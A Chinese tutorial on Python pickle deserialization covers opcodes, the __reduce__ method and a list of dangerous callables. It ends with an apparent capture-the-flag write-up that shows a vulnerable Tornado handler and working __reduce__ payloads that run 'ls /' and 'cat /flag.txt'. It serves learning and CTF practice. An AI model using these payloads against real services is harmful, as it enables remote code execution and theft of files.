浅谈Python Pickle反序列化

pickle是python语言的一个标准模块，实现了基本的数据序列化和反序列化。pickle模块是以二进制的形式序列化后保存到文件中（保存文件的后缀为.pkl），不能直接打开进行预览。
函数         说明dumps对象序列化为bytes对象dump对象序列化到文件对象，存入文件loads


    
从bytes对象反序列化load对象反序列化，从文件中读取数据

#test.pyimport pickle
class A:    def __init__(self):        print('This is A')

a = A()p_a = pickle.dumps(a)print p_apickle.loads(p_a)
##输出：This is A#(i__main__#A#p0#(dp1#b.

Python语言，是可以直接从源代码中运行程序。Python解释器会将源代码编译成字节码，然后将编译过后的字节码转发到Python虚拟机（PVM）中执行。所以说，PVM指令的作用就是告诉解释字节码的解释引擎我们要进行什么操作。我们在python2运行后，会看到一个以.pyc为扩展名的文件，正是该程序的字节码。
列出几个比较重要的操作码：
c : 读取本行的内容作为模块名module, 读取下一行的内容作为对象名object，然后将 module.object 作为可调用对象压入到栈中( : 将一个标记对象压入到栈中 , 用于确定命令执行的位置 . 该标记常常搭配 t 指令一起使用 , 以便产生一个元组S : 后面跟字符串 , PVM会读取引号中的内容 , 直到遇见换行符 , 然后将读取到的内容压入到栈中t : 从栈中不断弹出数据 , 弹射顺序与压栈时相同 , 直到弹出左括号 . 此时弹出的内容形成了一个元组 , 然后 , 该元组会被压入栈中R : 将之前压入栈中的元组和可调用对象全部弹出 , 然后将该元组作为可调用参数的对象并执行该对象 。最后将结果压入到栈中. : 结束整个 Pickle 反序列化过程

1.引擎的作用
从头开始读取流中的操作码和参数，并对其进行处理,zai在这个过程中改变 栈区 和 标签区，处理结束后到达栈顶，形成并返回反序列化的对象
2.栈区的作用
作为流数据处理过程中的暂存区，在不断的进出栈过程中完成对数据流的反序列化，并最终在栈上生成发序列化的结果
3.标签区的作用
数据的一个索引或者标记

#(i__main__    引入__main__模块#A             引入A对象#p0            将栈顶数据（__main__.A）存储到标志区（memo）中#(dp1          在栈顶创建一个字典，将memo中的内容转换成键值对并存储到这个字典中，然后栈顶存储到memo中#b.            调用__setstate__或者__dict__.update()来更新字典内容，最后读取到"."，结束Pickle序列化过程。

__reduce__方法
在新式类中生效，不带参数，应返回字符串或是一个元组。



    
如果返回一个字符串，该字符串应该被解释为全局变量的名称，它应该是对象相对于其模块的本地名称。
当返回一个元组时，它必须包含两到五个成员。可选成员可以省略，也可以提供None作为其值。
每个成员的意义是按顺序规定的：
第一个成员，将被调用的对象，callable。
第二个成员，可调用对象的参数的元组。如果callable不接受任何参数，则必须给出一个空元组。
当Python定义的类中的__reduce__函数返回的元组包含危险代码或可控，就会造成代码执行。

import pickleimport osclass A(object):    def __reduce__(self):        return (os.system,('ls',))a = A()test = pickle.dumps(a)print testpickle.loads(test)

eval, execfile, compile, open, file, map, input,os.system, os.popen, os.popen2, os.popen3, os.popen4, os.open, os.pipe,os.listdir, os.access,os.execl, os.execle, os.execlp, os.execlpe, os.execv,os.execve, os.execvp, os.execvpe, os.spawnl, os.spawnle, os.spawnlp, os.spawnlpe,os.spawnv, os.spawnve, os.spawnvp, os.spawnvpe,pickle.load, pickle.loads,


    
cPickle.load,cPickle.loads,subprocess.call,subprocess.check_call,subprocess.check_output,subprocess.Popen,commands.getstatusoutput,commands.getoutput,commands.getstatus,glob.glob,linecache.getline,shutil.copyfileobj,shutil.copyfile,shutil.copy,shutil.copy2,shutil.move,shutil.make_archive,dircache.listdir,dircache.opendir,io.open,popen2.popen2,popen2.popen3,popen2.popen4,timeit.timeit,timeit.repeat,sys.call_tracing,code.interact,code.compile_command,codeop.compile_command,pty.spawn,posixfile.open,posixfile.fileopen,platform.popen

import requestsurl="http://87a4ec57-2a26-4095-8f2f-2de60f2f6192.node3.buuoj.cn/shop?page="
for i in range(0,501):
r=requests.get(url+str(i))if 'lv6.png' in r.text:        print (i)        break

    
import tornado.webfrom sshop.base import BaseHandlerimport pickleimport urllib

class AdminHandler(BaseHandler):    @tornado.web.authenticated    def get(self, *args, **kwargs):        if self.current_user == "admin":            return self.render('form.html', res='This is Black Technology!', member=0)        else:            return self.render('no_ass.html')
    @tornado.web.authenticated    def post(self, *args, **kwargs):        try:            become = self.get_argument('become')            p = pickle.loads(urllib.unquote(become))            #从字节对象中读取被封装的对象，并返回            return self.render('form.html', res=p, member=1)        except:            return self.render('form.html', res='This is Black Technology!', member=0)

#找flag.pyimport pickleimport urllibimport sysimport commands
class payload(object):    def __reduce__(self):       return (commands.getoutput, ('ls /',))
a = pickle.dumps(payload())a = urllib.quote(a)print a
#拿flag.py
import pickleimport urllib class payload(object):    def __reduce__(self):       return (commands.getoutput, ('cat /flag.txt',))
a = pickle.dumps(payload())
a = urllib.quote(a)print a